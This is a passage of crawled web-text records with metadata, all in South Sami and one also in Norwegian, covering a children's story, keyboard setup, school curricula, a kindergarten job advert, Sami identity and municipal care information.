Akten njealjehts tæjmoen mænngan, manne geajnosne aahkese. Manne oksem rïhpestem jïh aahkam vuajnam sov tjïehtjelistie båata. – Buerie aerede aahka. Maam datne daan biejjien darjoeminie? –Manne ånnetji vuajnam. – Vuajnah? manne gihtjem. Aahka varki tjöövkese vaadtsa. – Datne maam akt sïjhth mov maana? Manne aahkese «jaavoe» jeahtam, bene tjoerem voestegh onnegåatan vaedtsedh. Daelie, manne ussjedem, manne oksem aahkan tjïehtjelasse rïhpestem jïh soejme tjïehtjelen sïjse vuajnam ... Manne hïehkehtallem. Barre akte stoerre, myövhkes stovle jïh akte rovnegs guvvie vïedtjesne. Akte klovse bovtse jïh kaanne akte aarhtse guvvesne. Manne lïhkebasse vaadtsam jïh faahketji manne hïerpem! Dïhte guvvie ij barre akte guvvie! Dïhte bovtse hajkeminie jïh munnjien heannadimmiem vuesehte. Manne mov åabpam vuajnam monnen tjöövkesne, dïhte byöpmedeminie. Manne maahtam vuejnedh ... Manne dan dïehre guarkam, aahka ånnetji ... Aahka lea vuejnehtje. – Daelie datne aaj vuejnehtje dan åvteste datne dam guvviem vuajneme. Aahka faahketji mov baalte tjåådtje. Daelie manne daajram maam manne iktesth sïjhteme daejredh.","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/ndla.no\/nb\/subject:1:d4511941-a1fc-4336-bc80-0a05c534a182\/topic:5:182064\/topic:5:179686\/resource:1:175416","date":"2023-06-09T03:56:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224655247.75\/warc\/CC-MAIN-20230609032325-20230609062325-00773.warc.gz","language":"sma","language_score":1.000005722,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 1.0000057220458984}","num_words":612,"character_repetition_ratio":0.052,"word_repetition_ratio":0.0,"special_characters_ratio":0.173,"stopwords_ratio":0.08,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemien båaloebuertie MacOSX 10.6-10.8:sne\nSjïehtedimmieh MacOS X 10.6-10.8:sne guktie maehtedh saemien tjaeledh.\nJis edtjh buektiehtidh noerhtesaemien tjaeledh, dle tjoeverh noerhtesaemien båaloebuertiem veedtjedh\n1. Rïhpesth Systemvalg…\n2. Diedtieh Språk og tekst jallh ohtsedh dam baakoem ohtsemesijjeste:\n3. Diedtieh Inndatakilder jïh kroessem bïejh Noerhtesaemien:\n4. Vuartesjh mejtie lea mïerhkesjamme Vuesehth tastaturmenyem, vuartesjh mejtie mij joem fååtese:\n5. Veeljh dellie noerhtesaemien båaloebuertiem menyeste mij lea åelkiesbielesne gosse edtjh noerhtesaemiengïelesne tjaeledh:","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/divvun.no\/sma\/keyboards\/userdocs\/mac\/enable-keyboard-osx10.8-nob.html","date":"2023-09-30T13:45:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233510676.40\/warc\/CC-MAIN-20230930113949-20230930143949-00500.warc.gz","language":"sma","language_score":1.0000072718,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0000072717666626}","num_words":62,"character_repetition_ratio":0.125,"word_repetition_ratio":0.0,"special_characters_ratio":0.176,"stopwords_ratio":0.081,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mahte fïerhten asken Polarbibblo gærjah, plaerieh jïh jeatjah tjaebpies vitnemh våarpohte dejtie maanide gïeh meatan saajtesne.\nGuktie jaksem meatan Vuerpesne årrodh?\nEvtemes daarpesjh utnije årrodh. Gosse dan mænngan mij joem mijjese seedth jallh naan quizvaastoe dellie maahtah rovhtese dïedtedh jis sïjhth meatan Vuerpesne årrodh. Dellie åadtjoeh dov adressem tjaeledh jïh vitnemem veeljedh. Tjoerebe dov adressem utnedh juktie daejredh gåabph vitnemem seedtedh jis maam vitnh. Gosse dov tjaalegem saajtese bæjhkoehtamme dïhte vuerpine Vuerpesne! Aelhkieh!\nMagkerh tjaalegh vuerpine Vuerpesne sjidtieh?\nSoptsesh, dikth, gærjasaernieh, guvviesoptsesh jïh guvvieh vuerpine sjidtieh gosse dåhkasjahteme jïh bæjhkoehtamme. Aaj maahtah vuerpiem åadtjodh jis reakta aktene quizesne vaestiehtamme jïh veeljeme dejtie dov vaastojde mijjese seedtedh.\nMan gellien aejkien maahtam Vuarpan seedtedh?\nDan gellien aejkien maam sïjhth!\nMan båeries edtjem årrodh jis meatan Vuerpesne årrodh?\nGaajhkh gaskem 0 jïh 18 jaepieh.\nMagkerh vitnemh våarpoehtidie?\nMijjieh gærjah, plaerieh jïh t-shirt våarpoehtibie. Muvhten aejkien aaj lissie vitnemh. Veartesjh dejtie sjïere våarpoehtimmide! Muvhten aejkien aaj smaave ierielimmieh mijjen vitnijidie seedtebe.\nDah plaerieh maam maahtah veeljedh leah Kamratposten, Min häst jïh Robot. Datne dam orremes jallh mubpie orremes plaeriem åadtjoeh.\nDle ovmessie gærjah fïerhten aejkien! Dannasinie dam datnem stillebe veeljedh magkerh gærjah sïjhth jïh man båeries datne leah. Dellie mijjese aelkebe sjædta veeljedh mij joem buerie dutnjien.\nMijjen t-shirt gååvnesieh julevsaemien, meänkielesne, noerhtesaemien jïh åarjelsaemien.\nSïjhth bievnedh naan vitnemi bïjre maam tuhtjh byöroe meatan Vuerpesne årrodh? Tjaelieh dam dan mijjen govlehtallemegoerine.\nMan gellien aejkien våarpoehtidie?\nFïerhten asken, ij leah giesien dellie snaltjen jïh mïetsken askide dan seamman aejkien våarpoehtibie.\nGåessie asken gærjide våarpoehtibie?\nBåetijen asken aalkoste. Vuesiehtimmien gaavhtan: suehpeden vuerpiem dan ruffien aalkoste våarpoehtieh. Dle dannasinie gaajhkesh dah gïeh sijhtieh meatan årrodh dan asken Vuerpesne edtjieh jaksedh mij joem bæjhkoehtidh jïh seamma stoere nuepiem utnedh vitnedh.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/www.polarbibblo.se\/sma-se\/vuerpie\/","date":"2023-10-01T11:50:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233510888.64\/warc\/CC-MAIN-20231001105617-20231001135617-00806.warc.gz","language":"sma","language_score":1.0000060797,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 1.000006079673767}","num_words":280,"character_repetition_ratio":0.074,"word_repetition_ratio":0.0,"special_characters_ratio":0.149,"stopwords_ratio":0.068,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Åarjelsaemien voestesgïeline (BF jåa1\/jåa2)\nTeekstine barkedh\nSoptsesh, vuelieh, dikth jïh jeatjah teeksth soptsestieh guktie almetjh jealeme, ussjedamme jïh domteme tïjji mietie. Gosse mijjieh teeksth lohkebe dellie maehtebe aelkedh ussjedidh, maam akt lïeredh jallh måarahtovvedh. Lissine teeksth maehtieh mijjem faepieldidh jallh madtjeldehtedh.\nAerpievuekien daajroe jïh jielemh\nAerpievuekien mietie saemieh gööleme, vijreme, vytnesjamme jïh bovtsine gïehtelamme. Jïh saemieh iktegisth daajroem åtneme guktie vierhtieh eatnamistie veedtjedh jïh nuhtjedh.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/ndla.no\/subject:1:11c4696f-e844-4c98-8df7-49d43f59ec33\/topic:2:b23303f9-8560-47fc-bbfb-de3564308246\/topic:af07be1d-fc5f-47a9-b033-7aef0be50930\/","date":"2023-09-21T11:24:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233506027.39\/warc\/CC-MAIN-20230921105806-20230921135806-00622.warc.gz","language":"sma","language_score":1.0000044107,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000044107437134}","num_words":65,"character_repetition_ratio":0.029,"word_repetition_ratio":0.0,"special_characters_ratio":0.143,"stopwords_ratio":0.092,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mijjen barkoeh golme åesine:\n- Staaten politihkem saemiej vööste goerehtalledh, guktie staate dåemiedamme saemiej vööste jïh relevaante aktööri dahkoeh dennie tjirrehtimmesne dehtie politihkeste.\n- Maahtoem saemiej dååjrehtsi bïjre bïevnedidh jïh gåhtsajehtedh. Dam sïejhme goerkelassem saemiej histovrijen bïjre bueriedidh jïh guktie dah histovrijeles nåake deahpadimmieh saemiej vööste saemide daan biejjien dijpieh. Minngemosth kommisjovnen konklusjovni bïjre guktie dïhte politihke saemide dijpesovveme.\n- Raerieh gïehtelimmide buektedh guktie bueriedidh jïh seamadidh jïh aktem nænnoes saemien seabradahkem evtiedidh.\nDaate barkoe edtja tjilkesovvedh minngemes jåvleasken 1 biejjien 2025.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/sanningskommissionensamer.se\/sma\/barkoen-bijre\/","date":"2023-10-02T17:02:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233511002.91\/warc\/CC-MAIN-20231002164819-20231002194819-00786.warc.gz","language":"sma","language_score":1.0000069141,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 1.000006914138794}","num_words":77,"character_repetition_ratio":0.089,"word_repetition_ratio":0.0,"special_characters_ratio":0.14,"stopwords_ratio":0.117,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"|Søknadsfrist:||\n\n\n27.09.2023\nArbeidsoppgaver\nSØRSAMISK ANNONSETEKST\n100 % raajan ihkuve barkoe goh gïelevierhtie\/gïeletjiehpije Suaja Maanagïertesne.\nDatne saemien ietniengïelesoptsestæjja jallh dov leah hijven njaalmeldh gïeledaajroeh, jïh sïjhth meatan årrodh gïeleevtiedimmesne\/gïelebarkosne Suaja maanagïertesne? Dellie datnem ohtsebe.\nSuaja maanagïertesne akte 100 % raajan ihkuve barkoe gååvnese goh åarjelsaemien gïelevierhtie. Maahta eventuelle barkoem juekedh jieniebidie barkijidie (bielietïjjen)\nSuaja Maanagïerte gieltegs evtiedimmien uvte tjåådtje maam raaktan datne maahtah meatan årrodh hammoedidh! Åarjelsaemien maanagïerte lea bielie Saemien byjjenimmieektievoeteste Snåasen tjïeltesne. Suaja Maanagïerte lea akte njieljie pilovtemaanagïertijste Nöörjesne mah SáMOS-prosjekten tjïrrh (Saemien maanah orre ektietjïehtjelisnie») edtjieh saemien maanagïerten båetijem aejkiem hammoedidh. Daate sæjhta jiehtedh daah maanagïerth edtjieh maehtedh saemien pedagogeles vuekiej mietie barkedh mah saemien gïelem, kultuvrem jïh aerpievuekien daajroem våaroeminie utnieh.\nBarkoelaavenjassh:\n- Eadtjohkelaakan meatan årrodh maanaj saemien gïelemaehtelesvoeth nænnoestidh\n- Faageles jïh gïeleldh meatan årrodh maanagïertem evtiedidh.\n- Eadtjohkelaakan meatan årrodh maanaj stååkedimmesne jïh darjoeminie, mah saemien gïelem jïh aarvoem våaroeminie utnieh.\n- Aktivyöki barkoe maanaj, eejhtegi jïh barkoevoelpi gaskem.\nDatne:\n- gie saemien ietniengieline soptsesth jallh hijven njaalmeldh gïeledaajroeh åtna\n- gie hijven relasjovnh maanide, barkoevoelpide jïh eejhtegidie sjugnede\n- gie fleksijbele, raerieh gaavna jïh maahta lïhke barkoevoelpigujmie laavenjostedh\n- gie hijven bïevsterem åtna jïh lea meatan hijven barkoebyjresem sjugniedidh.\n- lea vyljehke jarkelidh jïh væjkele bïhkedimmiem dåastodh.\nMijjieh faalehtibie:\n- Gieltegs barkoelaavenjassh aktene maanagïertesne evtiedimmesne, dan mietie mij mieriesoejkesje saemien maanagïerti bïjre jeahta.\n- Maehteles jïh ïedtjije meatanbarkijh.\n- Daamtaj fulkesimmie jïh bïhkedimmie.\n- Baalhka latjkoen mietie.\n- Hijven pensjovneöörnegh.\n- Tjïelte viehkehte gåetiem skååffedh.\n- Tjïelte maahta juhtememaaksoeh maeksedh tjïelten njoelkedassi mietie. Vuarjasjibie dam aejkeste aajkan.\nVielie bïevnesh barkoen bïjre åadtjoeh jis soptsesth ektievoeten åvtehkinie Hans Lindberg tell. 97978388\nSeehteme dorjesåvva dej fïerhtenaejkien laaki, njoelkedassi jïh tariffelatjkoej mietie. Tjuara pollisevihtiestimmiem orre biejjeste buektedh åvtelen aalka.\nSïjhtebe leavloem bïejedh persovneles sjiehtelesvoetese.\nJis nyjsenæjjah jïh ålmah seamma maahtoem utnieh sïjhtebe veeljedh dam tjoelem mij unnebelåhkosne.\nNORSK ANNONSETEKST\nEr du samisk morsmålstaler eller har gode muntlige språkkunnskaper, og vil være en del av språkutviklingen\/satsingen i Suaja maanagïerte? Da er du den vi søker.\nVed Suaja maanagïerte er det ledig inntil 100% fast stilling som sørsamisk språkressurs. Stillingen kan eventuelt deles på flere ansatte (deltid)\nSuaja Maanagïerte står fremfor en spennende utvikling som nettopp du kan være med på å utforme! Den sørsamiske barnehagen er en del av Samisk oppvekstenhet i Snåsa kommune. Suaja Maanagïerte er én av fire pilotbarnehager i Norge som gjennom SáMOS-prosjektet («Samiske barn i nye pedagogiske rom»), skal utforme fremtiden til den samiske barnehagen. Det betyr at disse barnehagene skal kunne arbeide etter samiske pedagogiske metoder som bygger på samisk språk, kultur og tradisjonell kunnskap.\nArbeidsoppgaver:\n- Bidra aktivt til å styrke barnas samiske språkferdigheter.\n- Delta i faglig og språklig utvikling av barnehagen.\n- Delta aktivt i barns lek og aktiviteter, basert på samisk språk og verdigrunnlag.\n- Samhandling mellom barn, foreldre og kolleger.\nHvem søker vi etter?\nDeg som:\n- Er samisk morsmålstaler eller har gode muntlige språkkunnskaper\n- Skaper gode relasjoner til barn, kolleger og foreldre\n- Er fleksibel, løsningsorientert og evner å samarbeide tett med kolleger.\n- Har godt humør og er med på å bidra til å skape et godt arbeidsmiljø.\n- Er endringsvillig og mottakelig for veiledning.\nVi tilbyr:\n- Spennende arbeidsoppgaver i en utviklingsorientert barnehage, med utgangspunkt i det rammeplan sier om samiske barnehager.\n- Kompetente og engasjerte medarbeidere.\n- Regelmessig oppfølgning og veiledning.\n- Lønn etter avtale\n- Gode pensjonsordninger.\n- Kommunen er behjelpelig med å skaffe\/formidle bolig.\n- Flytteutgifter kan dekkes iht. kommunens reglement. Vurderes i hvert enkelt tilfelle.\nNærmere opplysninger om stillingene fås ved henvendelse til enhetsleder Hans Lindberg tlf. 97978388\nAnsettelse skjer iht. de til enhver tid gjeldende lover, reglementer og tariffavtaler. Politiattest av ny dato må framlegges før tiltredelse.\nPersonlig egnethet vil bli vektlagt.\nUnder ellers like vilkår vil underrepresentert kjønn bli foretrukket.\nHans Henrik Lindberg, Enhetsleder samisk oppvekstenhet, +47 97978388, email@example.com\nBulls Veg 61\n7760 Snåsa\nMijjen visjovne lea «Tjïelke, boerehke jïh mavvas» Snåasen tjïelte lea tjïelte medtie 2000 årrojigujmie, Trööndelagen noerhtene. Tjïelten lea ellies maanagïertefaalenasse jïh jaepien 2022 Nöörjen bööremes maanagïertetjïeltine veeljesovvi. Doh golme skuvlh, Snåasen skuvle, Åarjel-saemiej skuvle jïh Snåsa montessoriskuvle jearsoe jïh hijven lïeremesijjieh faalehtieh. Snåase lea guektiengïeleldh jïh guektienkulturelle tjïelte jïh jarnge åarjelsaemien gïelese jïh kultuvrese. Eatneme mïerhkelgåvva vijries voenijste skåajji gaskesne mah aesine jïh vaerine jåerhkieh. Ræjhkoes nuepieh ålkone mïnnedh, vijredh jïh gööledh, dovne nasjonaaleparhkesne jïh ålkolen. Hijven kommuniksjovnenuepieh geajnojne jïh ruevtieraajrojne tjïelten tjïrrh, jïh medtie 2 tæjmoeh girtiesæjjan Værnes bïjline.\nSnåasen tjïelte\/Snåsa kommune er en kommune med ca. 2.000 innbyggere, beliggende nord i Trøndelag. Kommunen har full barnehagedekning og ble i 2022 kåret til Norges beste barnehagekommune. De tre skolene Snåsa skole, Åarjel-saemiej skuvle og Snåsa montessoriskole tilbyr trygge og gode læringsarenaer. Snåsa er tospråklig og tokulturell kommune med senter for Sørsamisk språk og kultur. Landskapet er preget av brede bygder mellom skogområder som går over i åser og fjell. Det er rike muligheter for friluftsliv, jakt og fiske, både i og utenfor nasjonalpark. Kommunikasjonene er gode med vei og jernbane gjennom kommunen, og det er ca. 2. timer til flyplass\/Værnes med bil.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/www.kommunaljobb.no\/job\/8258\/inntil-100-fast-stilling-som-spr%C3%A5kressurs-ved-suaja-maanag%C3%AFerte-2-g-utlysning\/","date":"2023-09-22T01:25:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233506320.28\/warc\/CC-MAIN-20230922002008-20230922032008-00720.warc.gz","language":"sma","language_score":0.9819008708,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9819008708000183, \"sme_Latn_score\": 0.013182790018618107}","num_words":779,"character_repetition_ratio":0.05,"word_repetition_ratio":0.0,"special_characters_ratio":0.17,"stopwords_ratio":0.068,"flagged_words_ratio":0.0,"lang_id_score":0.987,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Dov jïjtje-domtese jïh ektievoete-domtese datnem veadta mubpide saemide jïh saemien nasjonaale identiteetese.\nNasjonaale identiteete\nMijjieh saemieh åålmege vijries dajvesne noerhtene; Nöörjesne, Sveerjesne, Soemesne jïh Russlaantesne. Seammalaaketje gïelem, jieleme-vuekiem jïh kultuvrem utnebe, jalhts aaj joekehtsh voernges dajveste dajvese. Mijjen identiteete, jïjtje-domtese jïh ektievoete-domtese mijjem åålmeh-tjïertese ektiedieh. Jaepien 1993 raejeste mijjieh jïjtsh nasjonaale-biejjiem åtneme, Saemiej åålmege-biejjiem, goevten 6. biejjien. Gellie åålmege-biejjiem heevehtieh jïh gaptam dan biejjien tsaekieh. Mijjen aaj jïjtsh nasjonaale-laavlome jïh saevege.\nSeamma aejkien goh mijjieh saemieh åålmege njieljine laantine, mijjieh nasjonaale domtesh nasjonaale-staatide aaj utnebe. Daate vååjnesasse båata, gosse nöörjen saemieh sveerjen saemiej vööste, utnieh dah nöörjen tjoejkijh buerebh goh dah sveerjen tjoejkijh. Lissine gellie nöörjen saemieh Nöörjen nasjonaale-biejjiem suehpeden 17. biejjien heevehtieh.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/ndla.no\/nb\/subject:1:11c4696f-e844-4c98-8df7-49d43f59ec33\/topic:2:8bfb17e8-b081-476d-8e00-49f219ef5de3\/topic:2:6b2d1ccd-f72c-4f6a-bd36-ced187523dba\/resource:81991e8f-49c0-4316-b932-48d93bc4f858","date":"2023-09-22T09:30:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233506339.10\/warc\/CC-MAIN-20230922070214-20230922100214-00144.warc.gz","language":"sma","language_score":1.0000059605,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000059604644775}","num_words":110,"character_repetition_ratio":0.081,"word_repetition_ratio":0.0,"special_characters_ratio":0.151,"stopwords_ratio":0.1,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Sisvege faagine orre sjædta. Skuvle edtja såemies gille gaertjiedimmiejgujmie, seamma faagh faalehtidh goh daan biejjien. Gaertjiedimmieh leah barkoefaagesne, gusnie såemies dejstie ööhpehtimmieprogrammijste orre sjidtieh jïh såemies faagh tjåanghkan bïejesuvvieh.\nMijjieh learoesoejkesjidie daejnie faagine orrestibie:\n- maadthskuvlefaagh jïh faagh mah abpe jåarhkeskuvlen tjïrrh juhtieh\n- programmefaagh barkoefaagen ööhpehtimmieprogrammine\n- programmefaagh studijeryöjreden ööhpehtimmieprogrammine\nFaageorrestimmesne daah bielieh:\nBielie 1 (2017-2018) daah faagh åtna: Maadthskuvlefaagh jïh doh faagh mah abpe jåarhkeskuvlen tjïrrh juhtieh. 1.bieliem tjïrrehtamme.\nBielie 2 ( 208-2021) daah faagh åtna: programmefaagh jåarhkefaagen ööhpehtimmieprogrammine jïh programmefaagh studijeryöjreden ööhpehtimmieprogrammine\nTjïrrehtimmie: (2019- Edtja learoesoejkesjidie tjïrrehtidh. Skuvlh, skuvleaajhterh jïh lohkehtæjja-ööhpehtimmieinstitusjovnh edtjieh ryöjredidh learoesoejkesjidie åtnose vaeltedh.\nBoelhkh strategijesoejkesjisnie faageorrestæmman leah vïedteldihkie 1. bealan jïh tjïrrehtæmman – mearan 2. bielie ij leah meatan strategijesne.\nFaageorrestimmie lea ræhpas prosesse orreme. Lahtestimmiej jïh govlehtimmiej tjïrrh gaajhkesh nuepiem åtneme lahtestimmiejgujmie båetedh dovne Bijjemes bealan – aarvoeh jïh prinsihph maadthlïerehtæmman jïh faagi learoesoejkesjidie.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/sametinget.no\/lierehtimmie\/learoesoejkesjh\/faageorrestimmie\/","date":"2023-09-28T23:31:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233510462.75\/warc\/CC-MAIN-20230928230810-20230929020810-00518.warc.gz","language":"sma","language_score":1.00000453,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.000004529953003}","num_words":128,"character_repetition_ratio":0.109,"word_repetition_ratio":0.0,"special_characters_ratio":0.145,"stopwords_ratio":0.117,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mov maana aalka rætnoe soptsestidh? Aellieh vuertieh vuejnieh! Máttasámegillii\/sørsamisk\nDaennie tjaalegisnie bïevnesh åadtjoeh mij alternatijve jïh suppleereden kommunikasjovne (ASK) lea, man åvteste vihkele jïh guktie maahtah dov maanam viehkiehtidh sijjen gïelem evtiedidh. Tjaalege evtiesovveme laavenjostosne siebrine Isaac Norge.\n«Mov maana aalka rætnoe soptsestidh. Aellieh vuertieh vuejnieh» lea bïevnesetjaalege eejhtegidie jïh åeliealmetjidie maanide mah joekehts fåantoej gaavhtan eah soptsesgïelem utnieh goh sijjen buektemevuekie. Såemies tsiehkiej gaavhtan mejgujmie reakadamme maanah aelkieh seenhte soptsestidh, jeatjebh plarhkestieh, jïh såemies maanah eah funksjonelle soptsesgïelem evtedh. Daate lea maanah mah jienebh såarhts diagnovsh utnieh. Aaj maanah mah eah åehpies diagnovsem utnieh maehtieh tsagkesh soptsesgïeline utnedh. Maanah, noere jïh geerve almetjh maehtieh sijjen soptsestimmiemaahtoem dassedh skïemtjelassen jallh ovlahkoen gaavhtan.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/www.statped.no\/laringsressurser\/ask\/ask-samisk\/mov-maana-aalka--ratnoe-soptsestidh-aellieh-vuertieh-vuejnieh-mattasamegilliisorsamisk\/","date":"2023-10-02T17:38:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233511002.91\/warc\/CC-MAIN-20231002164819-20231002194819-00314.warc.gz","language":"sma","language_score":1.0000025034,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 1.0000025033950806}","num_words":112,"character_repetition_ratio":0.069,"word_repetition_ratio":0.0,"special_characters_ratio":0.135,"stopwords_ratio":0.107,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Dåarjoe jïh såjhtoe voeresidie\nStöd och omsorg för äldre\nDatne gie voerese maahtah viehkiem sosiaaletjeanadæmman ohtsedidh. Gosse viehkiem ohtsedh dellie sosiaaletjeanadimmie sjïere pryövemem dorje jïh nænnoste jis dov lea reakta viehkiem jallh ij. Datne maahtah dååpmestovlese laejhtedh jis dåarjoem ohtsedih jïh idtji dam åadtjoeh.\nJis gåetesne årroeh maahtah daarpoepryövemen mænngan gåetietjeanadimmie åadtjodh. Gåetietjeanadimmie maahta voestes iereste datnem viehkine årrodh persovnijen såjhtoe. Maahta årrodh byömedidh jïh jovkedh, gåårvedidh jallh bissedidh. Aaj maahtah åadtjoeh faalaldahkh maam datne jearsoes gåetesne damtedh. Maahta v.g. larmem juktie datne dallegh maahtah viehkiem åadtjodh jis daarpesjh. Jis datnem lihkemes fuelhkieh sujhtieh maahta dïhte dåarjoem åadtjodh jallh giem akt båata jis dïhte ij maehtieh dov luvnie årrodh. Maahtah biejjiedarjomh ohtsedidh juktie aelhkebe gåetesne årrodh. Maahtah aaj ohtsedidh jis boelhketjeårromesijjiem daarpesjh. Datne gie jeenje såjhtoem daarpesjh jïh dutnjien geerve gåetesne årroeh maahtah årromesijjie sjïere årromesæjjan åadtjodh. Maahta hoksehtimmiegåetesne, tjïerteårromesijjesne jallh skiemtjehïejmesne årrodh.\nSosiaaletjeanadimmie aaj dåarjoem faala maam ij daarpoepryöveme lea. V.g. bïjre jarkan Upmejisnie gaavnedimmiesijjieh mah leah sijjieh gusnie voeresh båetieh jïh boelhketjem gaavnedieh.\nJeenjebh bïevnesh\nUpmejisnie årroeminie — sosiaaletjeanadimmien dåastovasse bieljeldh telefovne 090-16 10 02.\nHolmsundesne, Hörneforsesne jallh Sävarisnie årroeminie — tjïelten viekselasse ringkh 16 10 00, dov ierem tjïelkesh jïh gusnie årroeh dellie vijrebe riektes sæjjan beaja.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/www.umea.se\/kommunochpolitik\/languages\/samiengiallije\/sosiaalenhoksehtimmieh\/daarjoejihsajhtoevoeresidie.4.333c64e217718860a23111e.html","date":"2023-10-01T05:07:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233510781.66\/warc\/CC-MAIN-20231001041719-20231001071719-00470.warc.gz","language":"sma","language_score":1.00000453,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 1.000004529953003}","num_words":192,"character_repetition_ratio":0.073,"word_repetition_ratio":0.0,"special_characters_ratio":0.147,"stopwords_ratio":0.078,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Maahtoeulmie7. daltesen mænngan\nLïerehtimmien ulmie lea learohke edtja maehtedh\nseabradahkefaageles goerehtimmiem tjïrrehtidh jïh illedahkide åehpiedehtedh viehkine sjiehteles digitaale dïrregijstie\nsjyöhtehke saerniem åehpiedehtedh jïh ussjedadtedh joekehtsi bijjeli gaskem faaktah, mïelh jïh kommersijelle dïjre medijeguvvesne\nviertiestidh guktie ovmessie gaaltijh, aaj soptsesh jïh kaarhth, maehtieh joekehts bïevnesh seamma teeman bïjre vedtedh, jïh ussjedadtedh guktie gaaltijh maehtieh åtnasovvedh vihties vuajnoeh baajnehtidh jïh eevtjedh\ngoerehtidh guktie almetjh dejpeli jieliemassem reeblin, jïh soptsestalledh guktie vihkeles jarkelimmieh jieledevåaroemisnie jïh teknologijesne leah demografijem, jieledetsiehkieh jïh årromemöönsterh baajnehtamme jïh baajnehtieh\ngeograafeles åejvievæhtah ovmessie bieline veartenistie buerkiestidh, jïh ussjedadtedh guktie daah åejvievæhtah almetjidie baajnehtieh mah desnie årroeh\nussjedadtedh man åvteste vigkieh sjædta, jïh digkiedidh guktie fïereguhte jïh seabradahke maehtieh vigkieh gïetedidh\novmessie bielieh gellievoetine Nöörjesne jïh Saepmesne goerehtidh, jïh ussjedadtedh man åvteste almetjh daarpesjieh jïjtjemse årrodh jïh ektievoetese govlesovvedh\ndigkiedidh man vihkeles seammavyörtegsvoete jïh mïrrestalleme lea demokratijese, jïh digkiedidh guktie maahta åvtelh-aarvoej, rasismen jïh sïerredimmien vööste barkedh\nalmetje- jïh seammavyörtegsvoeten bïjre soptsestalledh jïh viertiestidh guktie almetje- jïh aalkoeåålmegereaktah leah gorresovveme jïh gorresuvvieh ovmessie laantine\nåejvievæhtah goerehtidh saemiej jïh nasjonaale unnebelåhkoej histovrijisnie Nöörjesne, jïh reaktah åehpiedehtedh mejtie saemieh jïh nasjonaale unnebelåhkoeh Nöörjesne utnieh daan biejjien\nussjedadtedh guktie kommersijelle baajnehtimmie maahta effektem utnedh åtnose, persovneles ekonomijese jïh jïjtjegåvvan\nveartenevijries haestemem monnehke evtiedimmesne goerehtidh jïh åehpiedehtedh jïh mah konsekvensh dïhte maahta utnedh, jïh raeriestimmieh evtiedidh guktie maahta meatan årrodh haestemem vuastalidh jïh guktie laavenjostoe laanti gaskem maahta viehkine årrodh\nmeatanårromen bijjelen digitaale ektiedahkosne, jïh digkiedidh mij sæjhta jiehtedh vuarjasjimmiefaamoem nuhtjedh, tjoevkesisnie vuajneme njoelkedassijste, nåårmijste jïh raastijste\nussjedadtedh jeerehtsi bijjeli identiteetine, seksuelle vaaksjoehtimmesne jïh tjoelevæhtine jïh jïjtsh jïh mubpiej raasti bïjre domtesi, kråahpen jïh seksualiteeten bïjre, jïh digkiedidh maam maahta darjodh jis naaken raastide miedtele\nvihkeles heannadimmieh buerkiestidh mejstie mijjieh dam demokratijem åådtjeme maam mijjieh Nöörjesne jïh Saepmesne utnebe daan biejjien, jïh viertiestidh guktie aktegsalmetjh nuepiem utnieh sjæjsjalimmieh ovmessie stuvremevuekine baajnehtidh\nvuesiehtimmieh vedtedh mij laakh, njoelkedassh jïh nåårmh leah, jïh maam funksjovnide dah seabradahkesne utnieh, jïh konsekvensi bijjeli ussjedadtedh gosse dejtie miedtele\nussjedadtedh 